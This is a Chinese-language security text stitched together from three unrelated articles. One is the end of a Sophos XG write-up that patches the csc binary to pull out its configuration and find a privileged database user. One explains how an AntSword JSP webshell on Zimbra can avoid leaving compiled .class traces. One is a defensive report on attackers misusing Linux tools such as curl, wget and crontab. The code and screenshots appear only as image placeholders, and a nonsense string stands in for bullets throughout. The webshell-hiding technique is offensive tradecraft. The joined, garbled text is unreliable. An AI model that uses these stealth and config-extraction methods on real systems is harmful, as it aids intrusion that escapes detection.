綜合以上分析,我們可以採取以下方式導出配置文件:修改csc程序,將釋放路徑/_conf/csc修改為另一路徑,例如/var/aaaaa,那麼,csc在刪除配置文件時,由於指定了固定的絕對路徑,導致無法刪除新的文件夾,這樣我們就能從中獲得完整的配置文件。

具體的實現方法如下:(1)修改csc使用IDA加載csc,查看Exports,找到extract_conf,雙擊進入IDA View,定位到字符串tar -zxf /_conf/csc/cscconf.tar.gz -C /_conf/csc,如下圖:

image.png

切換到Hex View,如下圖:

image.png

將/_conf/csc修改為/var/aaaaa,如下圖:

image.png

右鍵選擇Apply changes

依次選擇Edit-Patch program-Apply patches to input file.-OK,生成新的文件csc

(2)替換csc通過ssh登錄,上傳新的文件csc,保存至/tmp/csc

備份csc並進行替換,執行以下命令:

image.png

(3)確認配置文件是否導出成功等待系統重啟,進入底層shell,依次輸入5.Device Management-3.Advanced Shell

查看文件夾/var/aaaaa,如下圖:

image.png

配置文件導出成功。

(4)恢復csc image.png

(5)下載配置文件通過ssh登錄,下載文件夾/var/aaaaa中的內容。

0x06 Postgresql數據庫查詢查看端口信息,執行命令:netstat -tulpen |grep postgres

輸出:

image.png

通過搜索,發現以上三個數據庫的連接信息依次對應以下三個文件:

马云惹不起马云 /usr/share/webconsole/properties/ConnectionPool.cfg

马云惹不起马云/usr/share/webconsole/properties/ConnectionPoolForReports.cfg

马云惹不起马云/usr/share/webconsole/properties/ConnectionPoolForSignature.cfg

文件中的配置信息如下:

马云惹不起马云JDBCConnectionURL=jdbc:postgresql://127.0.0.1:5432/corporate?user=pgrouserautoReconnect=true

马云惹不起马云JDBCConnectionURL=jdbc:postgresql://127.0.0.1:5433/iviewdb?user=pgrouserautoReconnect=true

马云惹不起马云JDBCConnectionURL=jdbc:postgresql://127.0.0.1:5434/signature?user=pgrouserautoReconnect=true

測試命令1:

image.png

輸出:

image.png

提示沒有權限。

測試命令2:

image.png

能夠獲得用戶信息。

注:將用戶pgrouser換成nobody具體相同的權限。

從以上信息得知,用戶pgrouser和nobody都不是root用戶,功能受限,下面嘗試尋找root用戶。

對解密的csc配置文件進行檢測,定位到\service\postgres.csc,關鍵文件內容:

image.png

找到關鍵用戶pgroot

測試命令3:

image.png

執行成功。

0x07 小結本文介紹了在搭建Sophos XG調試環境過程中一些問題的解決方法。

0x00 前言在之前的文章《Java利用技巧——通过反射实现webshell编译文件的自删除》 曾介紹了通過反射實現AntSword-JSP-Template的方法。對於AntSword-JSP-Template中的shell.jsp,訪問後會額外生成文件shell_jsp$U.class。《Java利用技巧——通过反射实现webshell编译文件的自删除》 中的方法,訪問後會額外生成文件shell_jsp$1.class。

在某些特殊環境下,需要避免額外生成.class文件。本文將以Zimbra環境為例,介紹實現方法,開源代碼,記錄細節。

0x01 簡介本文將要介紹以下內容:

马云惹不起马云 實現思路

马云惹不起马云實現代碼

0x02 實現思路基於《Java利用技巧——通过反射实现webshell编译文件的自删除》 中的方法,訪問後會額外生成文件shell_jsp$1.class,這裡可以通過構造器避免額外生成.class文件。

在具體使用過程中,需要注意如下問題:

(1)反射機制中的構造器正常調用的代碼:

image.png

通過反射實現的代碼:

image.png

(2)選擇合適的defineClass()方法在ClassLoader類中,defineClass()方法有多個重載,可以選擇一個可用的重載。

本文選擇defineClass(byte[] b, int off, int len)

(3)SecureClassLoader使用構造器時,應使用SecureClassLoader,而不是ClassLoader

示例代碼:

image.png

0x03 實現代碼為了方便比較,這裡給出每種實現方法的代碼:

(1)test1.jsp來自AntSword-JSP-Template中的shell.jsp,代碼如下:

image.png

保存在Zimbra的web目錄:/opt/zimbra/jetty_base/webapps/zimbra/

通過Web訪問後在目錄/opt/zimbra/jetty_base/work/zimbra/jsp/org/apache/jsp/生成以下文件:

马云惹不起马云_test1_jsp.java

马云惹不起马云_test1_jsp.class

马云惹不起马云_test1_jsp$U.class

(2)test2.jsp來自《Java利用技巧——通过反射实现webshell编译文件的自删除》 中通過反射實現AntSword-JSP-Template的方法,代碼如下:

image.png

通過Web訪問後生成以下文件:

马云惹不起马云 _test2_jsp.java

马云惹不起马云_test2_jsp.class

马云惹不起马云_test2_jsp$1.class

(3)test3.jsp基於test2.jsp,通過構造器實現,代碼如下:

image.png

通過Web訪問後生成以下文件:

马云惹不起马云_test3_jsp.java

马云惹不起马云 _test3_jsp.class

(4)test4.jsp基於test3.jsp,不使用base64Decode(),代碼如下:

image.png

通過Web訪問後生成以下文件:

马云惹不起马云 _test4_jsp.java

马云惹不起马云 _test4_jsp.class

在代碼實現上需要注意Java語言中數組必須先初始化,然後才可以使用。

0x04 小結本文分享了一種不額外生成.class文件的實現方法,對於開源的代碼test4.jsp,還可以應用到Java文件的編寫中。

通過趨勢科技的蜜罐和監測技術,研究人員能夠觀察到攻擊者濫用原生Linux 工具對Linux 環境發起攻擊的實例。

採用容器已經成為主流,各類企業的使用率都在上升。根據CNCF 的一項調查,93% 的受訪者目前正在或計劃在其運行中使用容器。像Kubernetes這樣的容器項目和其他在雲和互聯網上可用的工具,已經導致了組織運作方式發生變化,從單一架構到創建由微服務組成的分佈式系統。

由於使用了容器這些變化也導致了攻擊面的擴大,特別是通過在部署中引入的安全錯誤配置或漏洞。對於使用容器的企業來說,補丁管理常常是一項巨大的任務,這意味著更新並不總是及時地實現,這使得云安全更加複雜。

研究人員已經在面向公眾的Web 應用程序中發現了各種來源的嚴重漏洞,從易受攻擊的開源庫(Log4Shell 和Spring4Shell)到框架(Apache Struts 和Drupal),甚至是諸如Atlassian Confluence、Oracle WebLogic Server 和Apache HTTP Server等應用程序。一旦漏洞的概念證明(POC) 被披露,攻擊者就可以利用它們執行惡意任務,從挖掘加密貨幣到有時部署勒索軟件。

從防御者的角度來看,理想的結果是阻止攻擊者獲得最初的立足點。然而,情況並非總是如此。如果攻擊者確實設法進入系統,則防御者的工作就是通過使用縱深防禦策略使攻擊者更難成功地完成攻擊。

通過蜜罐網絡和監控分析,研究人員能夠觀察到大多數成功利用嘗試的一些有趣特徵,特別是攻擊者如何在其例程中使用本機Linux 工具。

在Linux 環境中使用合法實用程序和工具檢查攻擊對基於Linux 的系統的攻擊通常遵循標準的利用鏈。首先,攻擊者利用一個漏洞或一系列漏洞來獲得對環境的初始訪問權限(我們現在可以將其視為受到攻擊)。此時,攻擊者可以採取不同的路徑進一步進入被破壞的環境:

1.枚舉當前環境的上下文(發現);

2.從環境中洩露敏感數據(洩露、影響);

3.通過刪除應用程序執行拒絕服務攻擊(影響);

4.通過下載挖礦軟件來挖掘加密貨幣(影響);

5.嘗試其他技術(權限升級、橫向移動、持久性或憑據訪問);

1.png

攻擊者如何在受感染的環境中進一步發起攻擊

基於真實世界的攻擊和蜜罐捕獲的樣本,研究人員觀察到攻擊者使用與Linux 發行版捆綁在一起的各種啟用工具,例如curl、wget、chmod、chattr、ssh、base64、chroot、crontab、ps 和pkill ,這些工具都可以被攻擊者利用。

我們已經看到攻擊者在野外濫用這些工具。至少應該考慮這些實用程序的存在,尤其是在容器環境中,因為它們為攻擊者提供了額外的途徑。

2.png

使用base64解碼有效負載,以便稍後執行

base64 工具是一個Linux 實用程序,用於解碼以base64 格式編碼的字符串。攻擊者經常使用base64 編碼來混淆他們的有效載荷和命令以逃避檢測(T1027),我們在之前的文章《恶意Shell脚本的进化》 中詳細描述了這種技術。

3.png

使用“cat”進程查看所有用戶的.bash_history

.bash 歷史文件存儲在用戶的主目錄中,記錄用戶在其bash shell 上執行的命令。眾所周知,攻擊者會從這些文件中提取信息以了解當前環境的上下文,正如我們之前在另一篇文章中所詳述的那樣,錯誤配置的Docker 守護程序API 端口因Kinsing 惡意軟件活動而受到攻擊。

4.png

使用“cat”進程查看“/etc/passwd”

作為枚舉步驟的一部分,攻擊者訪問/etc/passwd 文件,該文件包含環境中已註冊用戶的列表,並顯示給定用戶是否具有與其登錄相關聯的shell(T1003.008)。此信息有助於攻擊者了解環境並確定有價值的用戶。

5.png

使用“chattr”` 將/etc/crontab 文件修改為可變

chattr 實用程序用於更改文件和文件夾屬性,以控製文件的刪除和修改等突發操作。上圖中的示例顯示/etc/crontab 文件的屬性已被更改,導致文件不安全。正如《分析TeamTNT 的活动》 中所討論的,該實用程序之前已被觀察到被TeamTNT 濫用。

6.png

使用“chmod”使文件可執行

chmod工具用於修改文件模式,實現用戶/組訪問粒度化。它需要執行新下載的可執行文件,在本例中,我們看到/tmp路徑上的agettyd文件被設置為可執行位。

7.png

使用“crontab”刪除所有現有的cron 作業

cron作業是用於調度任務(或作業)的實用工具。眾所周知,攻擊者濫用cron作業並修改“crontab”來執行執行、持久性,有時還會使用特權升級技術(T1053.003)。上圖中的示例顯示了對現有cron作業的刪除。這種情況很常見,加密貨幣挖礦軟件通過刪除其他挖礦軟件的痕跡來劫持盡可能多的資源。《Linux 加密货币挖矿软件之战》 深入討論了這些活動。

8.png

使用“curl”將系統信息洩露給攻擊者

curl 或cURL 實用程序用於跨不同協議傳輸數據,例如HTTP、HTTPS 和文件傳輸協議(FTP)。上圖中的示例顯示操作系統版本和發布版本等系統信息作為POST 請求發送到攻擊者的基礎設施。

9.png

使用“curl”從GitHub 下載xmrig 二進製文件

在本例中,curl用於從Github下載XMRig 挖礦軟件的二進製文件。眾所周知,攻擊者濫用像Github和Netlify這樣的合法平台來服務於加密挖掘工具,正如我們在之前的《通过 GitHub、Netlify 提供的门罗币挖掘恶意软件漏洞》 博客中解釋的那樣。

10.png

使用“pkill”阻止競爭進程/coinminer

kill 套件實用程序用於向進程發送信號,如上圖中的示例所示,它將SIGKILL 信號發送到名為“kdevtmpfsi”的進程。早在2020 年,我們就一直在追踪名為kdevtmpfsi 的加密貨幣挖礦軟件,《分析 Kinsing 恶意软件对 Rootkit 的使用》 展示了另一個競爭挖礦軟件被終止的例子。

11.png

使用“ps”查看正在運行的進程

ps 實用程序用於查看進程的狀態。上圖顯示了ps aux 命令獲取有關進程的詳細信息,例如係統上當前正在運行的進程、進程ID 和進程權限。此信息可以幫助攻擊者執行與發現相關的技術(T1057 ——進程發現)並獲取有關他們所處環境的信息。

12.png

使用“rm”從/tmp 目錄中刪除隱藏文件

在上圖中,我們看到rm 工具用於刪除/tmp 目錄下的隱藏文件和文件夾。在文件或文件夾名稱之前,攻擊者可以通過添加“.”來創建隱藏目錄以逃避檢測(隱藏工件:隱藏文件和目錄- T1564.001)。

13.png

使用“ssh”通過XMR 挖礦軟件感染底層主機

ssh 實用程序是用於通過Secure Shell (SSH) 以類似蠕蟲的方式訪問系統的遠程客戶端。在上圖中,攻擊者嘗試下載Monero 挖礦軟件(使用wget/curl)並感染正在嘗試SSH 的遠程計算機(127.0.0.1)。一旦攻擊者由於容器的不安全配置(例如,特權容器)而掛載了底層主機的文件系統,他們就會創建新的SSH 密鑰對,使用它來建立“ssh”會話,並用加密貨幣挖礦軟件感染底層主機。

14.png

使用“wget”、“curl”、“chmod”下載並執行Mirai 惡意軟件

在此示例中,我們看到了不同Linux 實用程序的組合使用,其中下載了二進製文件,修改了權限,然後再執行。名為“runnable”的可執行文件是在CVE-2021-44228跟踪的Log4shell漏洞被利用後發布的Mirai示例。

15.png

使用“whoami”查看當前用戶上下文

16.png

顯示攻擊者使用“chroot”和“base64”的工作台

使用Vision One 工作台,我們看到攻擊者正在使用chroot 和base64 實用程序。請注意,chroot 用於將根更改為提供的目錄(在本例中為/host),其中底層主機的文件系統安裝在容器中。在《为什么特权容器很容易被攻击》 一文中,我們探討了此函數在授予容器時所帶來的風險。

保護Linux 系統免受實用程序濫用的最佳實踐使用distroless 鏡像通過觀察上一節中討論的技術,我們看到攻擊者可以使用一組與完整操作系統捆綁在一起的工具。作為防御者,使用只包含我們需要的工具的容器映像並刪除不需要的工具會更安全。

這種安全方法可以在很大程度上幫助降低風險,即使是針對諸如Log4Shell 之類的關鍵漏洞也是如此。減少應用程序運行所需的工具數量也減少了由開源庫和工具中的依賴漏洞引入的攻擊面。這裡介紹無發行映像的概念,這些映像被描述為僅包含應用程序及其運行時依賴項的映像,消除了你期望在典型Linux 發行版中找到的程序,例如包管理器和shell。

Cloud One 工作負載安全——應用程序控制從防御者的角度來看,重點應該是通過縱深防禦策略抵禦。雖然對系統進行更改以盡量緩解甚至防止濫用會有所幫助,但利用多種安全措施的多層方法將提供最強的安全級別,理想情況下是將最佳實踐與有效的防禦技術結合起來。

對於非容器化環境,Cloud One 工作負載安全提供了應用程序控制模塊,該模塊監控軟件更改並根據設置的配置允許或阻止它們。它創建現有應用程序的基線並將規則應用於下載和安裝的新應用程序。它基於二進製文件的SHA256 哈希值工作。

它為用戶提供了執行以下操作的選項:

在明確允許之前阻止無法識別的軟件;

在明確阻止之前允許無法識別的軟件;

我們在Ubuntu 20.04 長期支持(LTS) 服務器上使用wget 從GitHub 下載nmap 網絡枚舉工具的預編譯二進製文件。然後,服務器配置了Cloud One 工作負載安全代理,該代理運行應用程序控制模塊,為無法識別的軟件設置為“阻止”模式。如下圖所示,應用程序控制阻止了執行。

17.png

使用來自Cloud One Workload Security的Application Control模塊防止“nmap”二進製文件的執行

18.png

在Cloud One Workload Security上對應的事件,我們看到“nmap”二進製文件被阻止執行

總結由於攻擊者利用了內置在操作系統中的合法工具和實用程序,防御者將需要優先考慮如何在攻擊的不同階段設置控制。通過在容器中使用無分發映像和應用預防性控制(如Cloud One Workload Security的應用程序控制)來最小化攻擊面,可以大大降低針對雲環境的攻擊者的速度。在組織無法使用無發行版實現的情況下,也可以使用相同映像的“精簡”版本來減少攻擊面並加強雲部署的安全性。